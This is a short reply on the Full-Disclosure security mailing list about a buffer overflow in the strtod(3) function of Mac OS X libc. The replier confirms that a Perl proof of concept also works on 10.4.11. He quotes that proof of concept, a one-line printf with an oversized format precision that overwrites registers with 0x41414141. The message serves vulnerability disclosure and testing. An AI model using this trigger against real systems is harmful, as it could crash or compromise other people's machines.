full-disclosure - Re: MacOS X 10.5/10.6 libc/strtod(3) buffer overflow

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Message-ID: <fbb622531001120954q68c8d117wfeb5c0e865475153@mail.gmail.com>
Date: Tue, 12 Jan 2010 12:54:23 -0500
From: Joshua Levitsky <jlevitsk@...hie.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: MacOS X 10.5/10.6 libc/strtod(3) buffer
	overflow

On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz <
cxib@...urityreason.com> wrote:

>

Could you check perl PoC ?
> It should overwrite esi and edi register
>
> esi=0x41414141
> edi=15
>
>
The perl PoC worked on 10.4.11 fully patched.

http://securityreason.com/achievement_securityalert/63

Example 0:
- --- chujwamwmuzg.pl ---
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl ---

-- 
Joshua Levitsky, MCSE, CISSP
http://www.jnuxhosting.net
http://www.jnux.net
http://blog.joshie.com/
[5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]

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